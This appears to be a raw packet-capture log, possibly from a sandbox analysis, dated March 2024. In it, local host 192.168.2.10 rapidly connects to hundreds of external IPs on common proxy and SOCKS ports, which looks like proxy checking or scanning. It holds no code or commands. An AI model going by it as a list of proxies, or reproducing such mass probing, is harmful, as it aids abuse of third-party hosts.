Mar 11, 2024 16:39:44.449285030 CET	50712	8080	192.168.2.10	188.132.222.38
Mar 11, 2024 16:39:44.449657917 CET	25491	50434	67.43.227.230	192.168.2.10
Mar 11, 2024 16:39:44.450007915 CET	50713	3128	192.168.2.10	51.178.165.36
Mar 11, 2024 16:39:44.450325012 CET	3128	50314	194.145.209.187	192.168.2.10
Mar 11, 2024 16:39:44.450356960 CET	50714	5678	192.168.2.10	196.61.44.54
Mar 11, 2024 16:39:44.451150894 CET	50715	999	192.168.2.10	157.100.6.202
Mar 11, 2024 16:39:44.451153040 CET	50717	80	192.168.2.10	104.22.50.220
Mar 11, 2024 16:39:44.451543093 CET	50716	10677	192.168.2.10	72.10.160.173
Mar 11, 2024 16:39:44.452199936 CET	8888	50154	36.134.91.82	192.168.2.10
Mar 11, 2024 16:39:44.452241898 CET	50719	8080	192.168.2.10	154.126.81.163
Mar 11, 2024 16:39:44.452255011 CET	50718	8080	192.168.2.10	51.68.220.201
Mar 11, 2024 16:39:44.452370882 CET	50154	8888	192.168.2.10	36.134.91.82
Mar 11, 2024 16:39:44.452429056 CET	80	50024	121.159.146.251	192.168.2.10
Mar 11, 2024 16:39:44.452482939 CET	80	50024	121.159.146.251	192.168.2.10
Mar 11, 2024 16:39:44.452733040 CET	50154	8888	192.168.2.10	36.134.91.82
Mar 11, 2024 16:39:44.453013897 CET	44195	50299	162.19.7.56	192.168.2.10
Mar 11, 2024 16:39:44.453090906 CET	50720	8888	192.168.2.10	35.199.90.225
Mar 11, 2024 16:39:44.453361988 CET	50299	44195	192.168.2.10	162.19.7.56
Mar 11, 2024 16:39:44.453774929 CET	50721	80	192.168.2.10	121.159.146.251
Mar 11, 2024 16:39:44.454197884 CET	50299	44195	192.168.2.10	162.19.7.56
Mar 11, 2024 16:39:44.454658985 CET	50723	4153	192.168.2.10	46.28.72.75
Mar 11, 2024 16:39:44.454658985 CET	50722	64579	192.168.2.10	162.214.121.173
Mar 11, 2024 16:39:44.455691099 CET	80	50153	104.16.143.127	192.168.2.10
Mar 11, 2024 16:39:44.455717087 CET	50724	7999	192.168.2.10	122.185.198.242
Mar 11, 2024 16:39:44.455787897 CET	80	50121	104.20.123.164	192.168.2.10
Mar 11, 2024 16:39:44.456204891 CET	80	50135	104.21.194.182	192.168.2.10
Mar 11, 2024 16:39:44.456235886 CET	50725	15805	192.168.2.10	172.93.111.87
Mar 11, 2024 16:39:44.456759930 CET	4145	50378	72.195.114.169	192.168.2.10
Mar 11, 2024 16:39:44.456899881 CET	50378	4145	192.168.2.10	72.195.114.169
Mar 11, 2024 16:39:44.457107067 CET	4145	50130	190.153.121.2	192.168.2.10
Mar 11, 2024 16:39:44.457139015 CET	50378	4145	192.168.2.10	72.195.114.169
Mar 11, 2024 16:39:44.457153082 CET	50726	17639	192.168.2.10	45.81.232.17
Mar 11, 2024 16:39:44.457235098 CET	80	50137	172.67.182.0	192.168.2.10
Mar 11, 2024 16:39:44.457503080 CET	50727	80	192.168.2.10	139.99.244.154
Mar 11, 2024 16:39:44.457552910 CET	49932	80	192.168.2.10	50.168.163.166
Mar 11, 2024 16:39:44.457568884 CET	49808	80	192.168.2.10	149.202.91.219
Mar 11, 2024 16:39:44.457570076 CET	49807	3629	192.168.2.10	188.124.15.13
Mar 11, 2024 16:39:44.457577944 CET	49949	26353	192.168.2.10	67.43.227.228
Mar 11, 2024 16:39:44.457577944 CET	49948	18067	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:44.457581043 CET	49806	4145	192.168.2.10	184.181.217.194
Mar 11, 2024 16:39:44.457592010 CET	49813	80	192.168.2.10	143.198.226.25
Mar 11, 2024 16:39:44.457736015 CET	49894	64768	192.168.2.10	173.212.250.16
Mar 11, 2024 16:39:44.457736015 CET	49961	17145	192.168.2.10	67.43.236.18
Mar 11, 2024 16:39:44.457987070 CET	4145	50130	190.153.121.2	192.168.2.10
Mar 11, 2024 16:39:44.458020926 CET	50728	19770	192.168.2.10	207.244.255.174
Mar 11, 2024 16:39:44.458409071 CET	9764	50421	162.243.102.207	192.168.2.10
Mar 11, 2024 16:39:44.458434105 CET	50729	80	192.168.2.10	172.67.127.188
Mar 11, 2024 16:39:44.458761930 CET	80	50303	104.18.161.122	192.168.2.10
Mar 11, 2024 16:39:44.458880901 CET	50421	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:44.458955050 CET	80	50303	104.18.161.122	192.168.2.10
Mar 11, 2024 16:39:44.458976984 CET	50730	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:44.459011078 CET	80	50511	173.245.49.27	192.168.2.10
Mar 11, 2024 16:39:44.459105968 CET	80	50303	104.18.161.122	192.168.2.10
Mar 11, 2024 16:39:44.459896088 CET	50421	9764	192.168.2.10	162.243.102.207
Mar 11, 2024 16:39:44.459896088 CET	50731	8080	192.168.2.10	165.227.95.2
Mar 11, 2024 16:39:44.459897995 CET	50303	80	192.168.2.10	104.18.161.122
Mar 11, 2024 16:39:44.459994078 CET	50511	80	192.168.2.10	173.245.49.27
Mar 11, 2024 16:39:44.460021019 CET	50303	80	192.168.2.10	104.18.161.122
Mar 11, 2024 16:39:44.460238934 CET	50511	80	192.168.2.10	173.245.49.27
Mar 11, 2024 16:39:44.461199045 CET	50733	34405	192.168.2.10	212.110.188.198
Mar 11, 2024 16:39:44.461199999 CET	50732	80	192.168.2.10	18.142.81.218
Mar 11, 2024 16:39:44.461220026 CET	50734	62916	192.168.2.10	51.222.241.8
Mar 11, 2024 16:39:44.461519003 CET	50735	36779	192.168.2.10	147.124.212.31
Mar 11, 2024 16:39:44.462146044 CET	3128	50318	46.101.102.134	192.168.2.10
Mar 11, 2024 16:39:44.462317944 CET	50736	8080	192.168.2.10	203.150.172.151
Mar 11, 2024 16:39:44.463090897 CET	50737	64523	192.168.2.10	46.105.44.29
Mar 11, 2024 16:39:44.463093042 CET	50739	80	192.168.2.10	172.67.182.107
Mar 11, 2024 16:39:44.463093042 CET	50738	5678	192.168.2.10	36.66.133.19
Mar 11, 2024 16:39:44.463366032 CET	50740	1080	192.168.2.10	143.137.116.72
Mar 11, 2024 16:39:44.464076042 CET	50741	4228	192.168.2.10	5.161.219.13
Mar 11, 2024 16:39:44.464102030 CET	9039	49825	67.43.227.228	192.168.2.10
Mar 11, 2024 16:39:44.464246988 CET	50742	11339	192.168.2.10	67.43.228.251
Mar 11, 2024 16:39:44.465338945 CET	50744	5678	192.168.2.10	115.75.160.196
Mar 11, 2024 16:39:44.465339899 CET	50743	43328	192.168.2.10	192.169.226.96
Mar 11, 2024 16:39:44.465396881 CET	50745	3128	192.168.2.10	103.28.121.58
Mar 11, 2024 16:39:44.465975046 CET	50746	80	192.168.2.10	65.1.244.232
Mar 11, 2024 16:39:44.466631889 CET	50748	1976	192.168.2.10	217.52.247.86
Mar 11, 2024 16:39:44.466633081 CET	50747	80	192.168.2.10	190.5.77.211
Mar 11, 2024 16:39:44.466824055 CET	50749	8080	192.168.2.10	165.16.67.238
Mar 11, 2024 16:39:44.467705965 CET	50751	80	192.168.2.10	50.207.199.80
Mar 11, 2024 16:39:44.467713118 CET	50750	80	192.168.2.10	50.175.212.79
Mar 11, 2024 16:39:44.467713118 CET	50752	47354	192.168.2.10	67.213.212.49
Mar 11, 2024 16:39:44.468467951 CET	50753	62952	192.168.2.10	104.248.158.78
Mar 11, 2024 16:39:44.469177008 CET	12334	50188	194.4.50.62	192.168.2.10
Mar 11, 2024 16:39:44.469275951 CET	50754	64110	192.168.2.10	164.92.86.113
Mar 11, 2024 16:39:44.469443083 CET	12334	50188	194.4.50.62	192.168.2.10
Mar 11, 2024 16:39:44.470065117 CET	9123	50330	173.249.29.243	192.168.2.10
Mar 11, 2024 16:39:44.470087051 CET	50755	23685	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:44.470156908 CET	50330	9123	192.168.2.10	173.249.29.243
Mar 11, 2024 16:39:44.470156908 CET	50188	12334	192.168.2.10	194.4.50.62
Mar 11, 2024 16:39:44.470180035 CET	50756	46919	192.168.2.10	51.15.16.96
Mar 11, 2024 16:39:44.470235109 CET	50188	12334	192.168.2.10	194.4.50.62
Mar 11, 2024 16:39:44.470525980 CET	50330	9123	192.168.2.10	173.249.29.243
Mar 11, 2024 16:39:44.470527887 CET	50757	8089	192.168.2.10	118.117.190.148
Mar 11, 2024 16:39:44.470578909 CET	50758	12334	192.168.2.10	194.4.50.62
Mar 11, 2024 16:39:44.470976114 CET	8197	50326	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:44.471612930 CET	50759	7117	192.168.2.10	135.181.102.118
Mar 11, 2024 16:39:44.471616030 CET	50760	9090	192.168.2.10	91.241.217.58
Mar 11, 2024 16:39:44.471718073 CET	50326	8197	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:44.471796989 CET	8197	49829	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:44.471860886 CET	8197	49829	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:44.472151041 CET	50761	8081	192.168.2.10	178.141.249.246
Mar 11, 2024 16:39:44.472151041 CET	50326	8197	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:44.472151995 CET	50762	37976	192.168.2.10	162.214.227.68
Mar 11, 2024 16:39:44.473109007 CET	50764	6005	192.168.2.10	45.11.95.166
Mar 11, 2024 16:39:44.473157883 CET	50763	64556	192.168.2.10	213.136.79.177
Mar 11, 2024 16:39:44.473179102 CET	50009	55137	192.168.2.10	192.169.197.146
Mar 11, 2024 16:39:44.473179102 CET	49814	8090	192.168.2.10	115.127.112.74
Mar 11, 2024 16:39:44.473181963 CET	49816	3128	192.168.2.10	193.239.86.249
Mar 11, 2024 16:39:44.473184109 CET	49817	1080	192.168.2.10	5.180.19.140
Mar 11, 2024 16:39:44.473262072 CET	49818	999	192.168.2.10	45.181.123.145
Mar 11, 2024 16:39:44.473694086 CET	50765	80	192.168.2.10	123.110.158.236
Mar 11, 2024 16:39:44.473843098 CET	5678	49760	178.212.51.79	192.168.2.10
Mar 11, 2024 16:39:44.475899935 CET	80	50491	50.239.72.17	192.168.2.10
Mar 11, 2024 16:39:44.477523088 CET	80	50372	50.173.140.149	192.168.2.10
Mar 11, 2024 16:39:44.477569103 CET	3335	50448	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:44.478158951 CET	8123	49759	20.24.43.214	192.168.2.10
Mar 11, 2024 16:39:44.478353024 CET	999	50364	191.97.9.228	192.168.2.10
Mar 11, 2024 16:39:44.478379011 CET	50767	8080	192.168.2.10	45.150.25.132
Mar 11, 2024 16:39:44.478379011 CET	50766	80	192.168.2.10	50.170.90.34
Mar 11, 2024 16:39:44.478543997 CET	50364	999	192.168.2.10	191.97.9.228
Mar 11, 2024 16:39:44.478693962 CET	50364	999	192.168.2.10	191.97.9.228
Mar 11, 2024 16:39:44.478849888 CET	50768	4153	192.168.2.10	177.131.29.211
Mar 11, 2024 16:39:44.479027987 CET	50769	7497	192.168.2.10	187.191.53.155
Mar 11, 2024 16:39:44.479248047 CET	50771	4850	192.168.2.10	192.169.226.96
Mar 11, 2024 16:39:44.479249954 CET	50772	5369	192.168.2.10	72.10.160.171
Mar 11, 2024 16:39:44.479253054 CET	50770	80	192.168.2.10	50.168.163.180
Mar 11, 2024 16:39:44.479541063 CET	50773	3128	192.168.2.10	134.209.29.120
Mar 11, 2024 16:39:44.479583025 CET	50774	56581	192.168.2.10	159.223.71.71
Mar 11, 2024 16:39:44.479667902 CET	80	49911	39.105.5.126	192.168.2.10
Mar 11, 2024 16:39:44.479886055 CET	50775	4145	192.168.2.10	74.119.147.209
Mar 11, 2024 16:39:44.480251074 CET	50776	3629	192.168.2.10	190.3.72.38
Mar 11, 2024 16:39:44.480267048 CET	49911	80	192.168.2.10	39.105.5.126
Mar 11, 2024 16:39:44.480542898 CET	50779	59623	192.168.2.10	62.182.114.164
Mar 11, 2024 16:39:44.480603933 CET	50777	8083	192.168.2.10	103.84.177.28
Mar 11, 2024 16:39:44.480607033 CET	50778	55636	192.168.2.10	1.179.148.9
Mar 11, 2024 16:39:44.480663061 CET	80	50561	31.43.179.160	192.168.2.10
Mar 11, 2024 16:39:44.480956078 CET	50561	80	192.168.2.10	31.43.179.160
Mar 11, 2024 16:39:44.481082916 CET	50561	80	192.168.2.10	31.43.179.160
Mar 11, 2024 16:39:44.482074976 CET	50781	4145	192.168.2.10	168.205.217.37
Mar 11, 2024 16:39:44.482074976 CET	50782	8080	192.168.2.10	103.172.42.121
Mar 11, 2024 16:39:44.482100010 CET	45248	49895	166.62.121.127	192.168.2.10
Mar 11, 2024 16:39:44.482286930 CET	50780	5678	192.168.2.10	93.182.76.244
Mar 11, 2024 16:39:44.482341051 CET	4145	50494	142.54.231.38	192.168.2.10
Mar 11, 2024 16:39:44.482600927 CET	50783	8080	192.168.2.10	180.191.254.130
Mar 11, 2024 16:39:44.482717991 CET	50494	4145	192.168.2.10	142.54.231.38
Mar 11, 2024 16:39:44.483196020 CET	50494	4145	192.168.2.10	142.54.231.38
Mar 11, 2024 16:39:44.483398914 CET	50784	83	192.168.2.10	103.183.63.14
Mar 11, 2024 16:39:44.483812094 CET	50785	3629	192.168.2.10	190.3.72.39
Mar 11, 2024 16:39:44.483884096 CET	50786	8282	192.168.2.10	193.138.178.6
Mar 11, 2024 16:39:44.484498024 CET	80	50197	104.20.24.214	192.168.2.10
Mar 11, 2024 16:39:44.484625101 CET	80	50196	172.67.150.173	192.168.2.10
Mar 11, 2024 16:39:44.484664917 CET	80	50388	50.218.57.68	192.168.2.10
Mar 11, 2024 16:39:44.485377073 CET	50788	80	192.168.2.10	119.81.71.27
Mar 11, 2024 16:39:44.485377073 CET	50787	1976	192.168.2.10	41.65.236.56
Mar 11, 2024 16:39:44.485894918 CET	50789	80	192.168.2.10	104.27.26.29
Mar 11, 2024 16:39:44.486262083 CET	50790	28513	192.168.2.10	213.136.78.200
Mar 11, 2024 16:39:44.486429930 CET	8081	49722	154.72.90.74	192.168.2.10
Mar 11, 2024 16:39:44.486572981 CET	3128	49878	18.134.236.231	192.168.2.10
Mar 11, 2024 16:39:44.486598969 CET	50791	17228	192.168.2.10	207.180.198.241
Mar 11, 2024 16:39:44.487413883 CET	80	50223	195.23.57.78	192.168.2.10
Mar 11, 2024 16:39:44.487442970 CET	50792	999	192.168.2.10	38.7.4.89
Mar 11, 2024 16:39:44.488940954 CET	49909	3128	192.168.2.10	194.182.187.78
Mar 11, 2024 16:39:44.488965988 CET	49980	25639	192.168.2.10	67.43.227.226
Mar 11, 2024 16:39:44.489032030 CET	49845	58386	192.168.2.10	5.44.42.115
Mar 11, 2024 16:39:44.490561962 CET	49878	3128	192.168.2.10	18.134.236.231
Mar 11, 2024 16:39:44.490811110 CET	50793	80	192.168.2.10	172.67.181.12
Mar 11, 2024 16:39:44.490845919 CET	80	50584	185.238.228.202	192.168.2.10
Mar 11, 2024 16:39:44.490973949 CET	80	50586	104.25.87.42	192.168.2.10
Mar 11, 2024 16:39:44.490986109 CET	80	50587	104.21.223.181	192.168.2.10
Mar 11, 2024 16:39:44.491064072 CET	50584	80	192.168.2.10	185.238.228.202
Mar 11, 2024 16:39:44.491067886 CET	50586	80	192.168.2.10	104.25.87.42
Mar 11, 2024 16:39:44.491106987 CET	50587	80	192.168.2.10	104.21.223.181
Mar 11, 2024 16:39:44.491229057 CET	4153	50319	212.31.100.138	192.168.2.10
Mar 11, 2024 16:39:44.491391897 CET	50584	80	192.168.2.10	185.238.228.202
Mar 11, 2024 16:39:44.491550922 CET	80	50327	186.124.164.213	192.168.2.10
Mar 11, 2024 16:39:44.491750956 CET	50319	4153	192.168.2.10	212.31.100.138
Mar 11, 2024 16:39:44.491753101 CET	50327	80	192.168.2.10	186.124.164.213
Mar 11, 2024 16:39:44.492003918 CET	50586	80	192.168.2.10	104.25.87.42
Mar 11, 2024 16:39:44.492408037 CET	50587	80	192.168.2.10	104.21.223.181
Mar 11, 2024 16:39:44.492408037 CET	50319	4153	192.168.2.10	212.31.100.138
Mar 11, 2024 16:39:44.492417097 CET	50327	80	192.168.2.10	186.124.164.213
Mar 11, 2024 16:39:44.493727922 CET	50794	80	192.168.2.10	50.207.199.87
Mar 11, 2024 16:39:44.495505095 CET	7302	50219	124.163.236.54	192.168.2.10
Mar 11, 2024 16:39:44.495814085 CET	50219	7302	192.168.2.10	124.163.236.54
Mar 11, 2024 16:39:44.495882034 CET	5555	50294	14.225.254.128	192.168.2.10
Mar 11, 2024 16:39:44.496141911 CET	80	49832	50.172.218.160	192.168.2.10
Mar 11, 2024 16:39:44.496176004 CET	50219	7302	192.168.2.10	124.163.236.54
Mar 11, 2024 16:39:44.498631001 CET	64654	50340	162.19.7.53	192.168.2.10
Mar 11, 2024 16:39:44.499932051 CET	80	50608	104.16.109.207	192.168.2.10
Mar 11, 2024 16:39:44.499964952 CET	80	50220	31.43.179.214	192.168.2.10
Mar 11, 2024 16:39:44.500262976 CET	50608	80	192.168.2.10	104.16.109.207
Mar 11, 2024 16:39:44.500405073 CET	80	50211	172.67.38.96	192.168.2.10
Mar 11, 2024 16:39:44.500752926 CET	8888	50355	136.244.99.51	192.168.2.10
Mar 11, 2024 16:39:44.500895977 CET	50608	80	192.168.2.10	104.16.109.207
Mar 11, 2024 16:39:44.501971006 CET	50795	33572	192.168.2.10	162.214.121.173
Mar 11, 2024 16:39:44.502176046 CET	50355	8888	192.168.2.10	136.244.99.51
Mar 11, 2024 16:39:44.502480984 CET	50355	8888	192.168.2.10	136.244.99.51
Mar 11, 2024 16:39:44.502801895 CET	50796	8595	192.168.2.10	132.148.128.88
Mar 11, 2024 16:39:44.503340006 CET	50799	80	192.168.2.10	104.27.37.131
Mar 11, 2024 16:39:44.503424883 CET	12334	49754	194.4.50.91	192.168.2.10
Mar 11, 2024 16:39:44.503448009 CET	50797	1372	192.168.2.10	159.223.166.21
Mar 11, 2024 16:39:44.503448009 CET	50798	8080	192.168.2.10	37.120.192.154
Mar 11, 2024 16:39:44.503561974 CET	49754	12334	192.168.2.10	194.4.50.91
Mar 11, 2024 16:39:44.504096985 CET	50801	5678	192.168.2.10	79.7.101.98
Mar 11, 2024 16:39:44.504194975 CET	50800	13276	192.168.2.10	147.124.212.31
Mar 11, 2024 16:39:44.504201889 CET	49754	12334	192.168.2.10	194.4.50.91
Mar 11, 2024 16:39:44.504430056 CET	49712	44607	192.168.2.10	162.241.6.97
Mar 11, 2024 16:39:44.504430056 CET	49823	5678	192.168.2.10	45.228.147.209
Mar 11, 2024 16:39:44.504436016 CET	49841	3629	192.168.2.10	178.158.197.147
Mar 11, 2024 16:39:44.504436016 CET	49820	8080	192.168.2.10	193.34.21.200
Mar 11, 2024 16:39:44.504466057 CET	49879	5678	192.168.2.10	176.119.227.65
Mar 11, 2024 16:39:44.504750013 CET	80	50349	104.25.167.88	192.168.2.10
Mar 11, 2024 16:39:44.504785061 CET	50802	1080	192.168.2.10	103.47.93.194
Mar 11, 2024 16:39:44.504813910 CET	80	50349	104.25.167.88	192.168.2.10
Mar 11, 2024 16:39:44.505192995 CET	50803	4145	192.168.2.10	185.169.181.25
Mar 11, 2024 16:39:44.505599976 CET	50349	80	192.168.2.10	104.25.167.88
Mar 11, 2024 16:39:44.505971909 CET	16691	50500	92.204.136.149	192.168.2.10
Mar 11, 2024 16:39:44.506040096 CET	80	50349	104.25.167.88	192.168.2.10
Mar 11, 2024 16:39:44.506144047 CET	39452	50380	167.172.109.12	192.168.2.10
Mar 11, 2024 16:39:44.506170988 CET	50349	80	192.168.2.10	104.25.167.88
Mar 11, 2024 16:39:44.507056952 CET	80	50358	172.67.231.3	192.168.2.10
Mar 11, 2024 16:39:44.507155895 CET	80	50358	172.67.231.3	192.168.2.10
Mar 11, 2024 16:39:44.508433104 CET	80	50358	172.67.231.3	192.168.2.10
Mar 11, 2024 16:39:44.508459091 CET	50358	80	192.168.2.10	172.67.231.3
Mar 11, 2024 16:39:44.509046078 CET	50358	80	192.168.2.10	172.67.231.3
Mar 11, 2024 16:39:44.509332895 CET	80	50381	172.67.3.98	192.168.2.10
Mar 11, 2024 16:39:44.509346008 CET	80	50381	172.67.3.98	192.168.2.10
Mar 11, 2024 16:39:44.509422064 CET	4145	50420	92.207.253.226	192.168.2.10
Mar 11, 2024 16:39:44.509864092 CET	80	50384	104.24.193.186	192.168.2.10
Mar 11, 2024 16:39:44.509942055 CET	80	50384	104.24.193.186	192.168.2.10
Mar 11, 2024 16:39:44.509988070 CET	80	50381	172.67.3.98	192.168.2.10
Mar 11, 2024 16:39:44.509988070 CET	50420	4145	192.168.2.10	92.207.253.226
Mar 11, 2024 16:39:44.510466099 CET	80	50384	104.24.193.186	192.168.2.10
Mar 11, 2024 16:39:44.511517048 CET	15864	50534	192.252.214.20	192.168.2.10
Mar 11, 2024 16:39:44.511548042 CET	50384	80	192.168.2.10	104.24.193.186
Mar 11, 2024 16:39:44.511548042 CET	50381	80	192.168.2.10	172.67.3.98
Mar 11, 2024 16:39:44.512290001 CET	80	50392	104.25.81.82	192.168.2.10
Mar 11, 2024 16:39:44.512337923 CET	80	50392	104.25.81.82	192.168.2.10
Mar 11, 2024 16:39:44.512792110 CET	15673	50537	23.95.209.142	192.168.2.10
Mar 11, 2024 16:39:44.513303995 CET	4145	50170	174.75.211.222	192.168.2.10
Mar 11, 2024 16:39:44.513519049 CET	80	50392	104.25.81.82	192.168.2.10
Mar 11, 2024 16:39:44.513695002 CET	4145	50170	174.75.211.222	192.168.2.10
Mar 11, 2024 16:39:44.513784885 CET	8888	50462	23.94.123.243	192.168.2.10
Mar 11, 2024 16:39:44.513884068 CET	50537	15673	192.168.2.10	23.95.209.142
Mar 11, 2024 16:39:44.513884068 CET	50392	80	192.168.2.10	104.25.81.82
Mar 11, 2024 16:39:44.513891935 CET	50462	8888	192.168.2.10	23.94.123.243
Mar 11, 2024 16:39:44.514069080 CET	80	50237	104.17.171.235	192.168.2.10
Mar 11, 2024 16:39:44.515770912 CET	41491	50398	167.172.109.12	192.168.2.10
Mar 11, 2024 16:39:44.518434048 CET	80	50246	172.67.182.126	192.168.2.10
Mar 11, 2024 16:39:44.518526077 CET	3128	50499	159.203.61.169	192.168.2.10
Mar 11, 2024 16:39:44.518973112 CET	50499	3128	192.168.2.10	159.203.61.169
Mar 11, 2024 16:39:44.519233942 CET	50381	80	192.168.2.10	172.67.3.98
Mar 11, 2024 16:39:44.519512892 CET	50537	15673	192.168.2.10	23.95.209.142
Mar 11, 2024 16:39:44.519980907 CET	8888	50427	188.166.30.17	192.168.2.10
Mar 11, 2024 16:39:44.520056963 CET	50804	4145	192.168.2.10	174.75.211.222
Mar 11, 2024 16:39:44.520056963 CET	50000	34350	192.168.2.10	66.29.128.246
Mar 11, 2024 16:39:44.520057917 CET	49827	16379	192.168.2.10	163.172.147.9
Mar 11, 2024 16:39:44.520059109 CET	49709	15082	192.168.2.10	45.77.111.135
Mar 11, 2024 16:39:44.520083904 CET	49824	1080	192.168.2.10	93.171.243.253
Mar 11, 2024 16:39:44.520406961 CET	50462	8888	192.168.2.10	23.94.123.243
Mar 11, 2024 16:39:44.520931959 CET	50384	80	192.168.2.10	104.24.193.186
Mar 11, 2024 16:39:44.520997047 CET	50499	3128	192.168.2.10	159.203.61.169
Mar 11, 2024 16:39:44.521159887 CET	50392	80	192.168.2.10	104.25.81.82
Mar 11, 2024 16:39:44.521253109 CET	50420	4145	192.168.2.10	92.207.253.226
Mar 11, 2024 16:39:44.524785995 CET	18080	49937	8.142.132.204	192.168.2.10
Mar 11, 2024 16:39:44.526297092 CET	49202	50366	51.161.131.84	192.168.2.10
Mar 11, 2024 16:39:44.529236078 CET	49937	18080	192.168.2.10	8.142.132.204
Mar 11, 2024 16:39:44.529339075 CET	50366	49202	192.168.2.10	51.161.131.84
Mar 11, 2024 16:39:44.529377937 CET	9002	50254	222.138.76.6	192.168.2.10
Mar 11, 2024 16:39:44.530235052 CET	50254	9002	192.168.2.10	222.138.76.6
Mar 11, 2024 16:39:44.530369997 CET	5123	50514	72.10.160.92	192.168.2.10
Mar 11, 2024 16:39:44.532258034 CET	80	50047	222.255.238.159	192.168.2.10
Mar 11, 2024 16:39:44.532290936 CET	50366	49202	192.168.2.10	51.161.131.84
Mar 11, 2024 16:39:44.532295942 CET	50254	9002	192.168.2.10	222.138.76.6
Mar 11, 2024 16:39:44.532664061 CET	80	50270	172.67.181.129	192.168.2.10
Mar 11, 2024 16:39:44.532970905 CET	80	50047	222.255.238.159	192.168.2.10
Mar 11, 2024 16:39:44.533380985 CET	80	50656	104.16.108.42	192.168.2.10
Mar 11, 2024 16:39:44.533555031 CET	50656	80	192.168.2.10	104.16.108.42
Mar 11, 2024 16:39:44.534363985 CET	3128	50543	23.152.40.14	192.168.2.10
Mar 11, 2024 16:39:44.535403967 CET	34560	50549	108.181.132.117	192.168.2.10
Mar 11, 2024 16:39:44.535700083 CET	49975	80	192.168.2.10	50.172.75.125
Mar 11, 2024 16:39:44.535725117 CET	50543	3128	192.168.2.10	23.152.40.14
Mar 11, 2024 16:39:44.535725117 CET	49826	5678	192.168.2.10	123.108.98.108
Mar 11, 2024 16:39:44.535725117 CET	50019	31295	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:44.535729885 CET	49830	13335	192.168.2.10	172.67.185.199
Mar 11, 2024 16:39:44.535729885 CET	49836	1080	192.168.2.10	5.252.23.220
Mar 11, 2024 16:39:44.535775900 CET	50010	3128	192.168.2.10	178.128.148.69
Mar 11, 2024 16:39:44.535785913 CET	50014	5385	192.168.2.10	72.10.160.170
Mar 11, 2024 16:39:44.535793066 CET	49834	3128	192.168.2.10	155.50.241.99
Mar 11, 2024 16:39:44.535820007 CET	49946	80	192.168.2.10	50.170.90.24
Mar 11, 2024 16:39:44.535821915 CET	49835	80	192.168.2.10	52.24.80.166
Mar 11, 2024 16:39:44.535823107 CET	49831	55019	192.168.2.10	92.204.135.37
Mar 11, 2024 16:39:44.535865068 CET	49837	8080	192.168.2.10	160.19.169.208
Mar 11, 2024 16:39:44.535865068 CET	50656	80	192.168.2.10	104.16.108.42
Mar 11, 2024 16:39:44.536902905 CET	55994	50554	38.127.172.219	192.168.2.10
Mar 11, 2024 16:39:44.536916018 CET	999	50490	190.71.24.129	192.168.2.10
Mar 11, 2024 16:39:44.537378073 CET	51535	50591	162.241.66.135	192.168.2.10
Mar 11, 2024 16:39:44.537838936 CET	80	49970	52.196.1.182	192.168.2.10
Mar 11, 2024 16:39:44.538054943 CET	24397	50535	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:44.538379908 CET	50543	3128	192.168.2.10	23.152.40.14
Mar 11, 2024 16:39:44.539141893 CET	8000	50051	14.103.24.20	192.168.2.10
Mar 11, 2024 16:39:44.540527105 CET	8080	50375	213.184.153.66	192.168.2.10
Mar 11, 2024 16:39:44.540648937 CET	50051	8000	192.168.2.10	14.103.24.20
Mar 11, 2024 16:39:44.540858984 CET	50375	8080	192.168.2.10	213.184.153.66
Mar 11, 2024 16:39:44.541655064 CET	50051	8000	192.168.2.10	14.103.24.20
Mar 11, 2024 16:39:44.541783094 CET	46783	50572	162.241.158.204	192.168.2.10
Mar 11, 2024 16:39:44.541887999 CET	5678	50277	103.112.254.66	192.168.2.10
Mar 11, 2024 16:39:44.542159081 CET	50375	8080	192.168.2.10	213.184.153.66
Mar 11, 2024 16:39:44.542659044 CET	50805	8000	192.168.2.10	14.103.24.20
Mar 11, 2024 16:39:44.543272018 CET	3128	50567	3.212.148.199	192.168.2.10
Mar 11, 2024 16:39:44.543411970 CET	50567	3128	192.168.2.10	3.212.148.199
Mar 11, 2024 16:39:44.543471098 CET	50806	80	192.168.2.10	89.31.143.12
Mar 11, 2024 16:39:44.543699980 CET	50567	3128	192.168.2.10	3.212.148.199
Mar 11, 2024 16:39:44.543704033 CET	50807	4145	192.168.2.10	192.111.134.10
Mar 11, 2024 16:39:44.544781923 CET	25675	50627	92.204.134.38	192.168.2.10
Mar 11, 2024 16:39:44.544784069 CET	50808	38817	192.168.2.10	77.48.23.181
Mar 11, 2024 16:39:44.544897079 CET	49970	80	192.168.2.10	52.196.1.182
Mar 11, 2024 16:39:44.544909000 CET	50627	25675	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:44.544913054 CET	50809	80	192.168.2.10	149.102.130.120
Mar 11, 2024 16:39:44.545344114 CET	50627	25675	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:44.545348883 CET	50810	2233	192.168.2.10	104.131.77.66
Mar 11, 2024 16:39:44.545450926 CET	50811	8080	192.168.2.10	115.96.208.124
Mar 11, 2024 16:39:44.545548916 CET	50812	4145	192.168.2.10	142.54.232.6
Mar 11, 2024 16:39:44.545857906 CET	50813	9002	192.168.2.10	39.165.0.137
Mar 11, 2024 16:39:44.545859098 CET	50814	8181	192.168.2.10	103.152.232.99
Mar 11, 2024 16:39:44.546051979 CET	50815	8080	192.168.2.10	125.26.183.79
Mar 11, 2024 16:39:44.546186924 CET	50816	34227	192.168.2.10	162.214.102.195
Mar 11, 2024 16:39:44.546555042 CET	50817	8080	192.168.2.10	177.229.210.50
Mar 11, 2024 16:39:44.546646118 CET	50818	4145	192.168.2.10	103.210.35.40
Mar 11, 2024 16:39:44.546798944 CET	50820	4985	192.168.2.10	82.223.121.72
Mar 11, 2024 16:39:44.546825886 CET	50819	80	192.168.2.10	188.40.44.95
Mar 11, 2024 16:39:44.546828985 CET	50821	8089	192.168.2.10	111.225.153.135
Mar 11, 2024 16:39:44.547065973 CET	50823	32650	192.168.2.10	103.216.51.36
Mar 11, 2024 16:39:44.547116041 CET	50822	38586	192.168.2.10	160.153.245.187
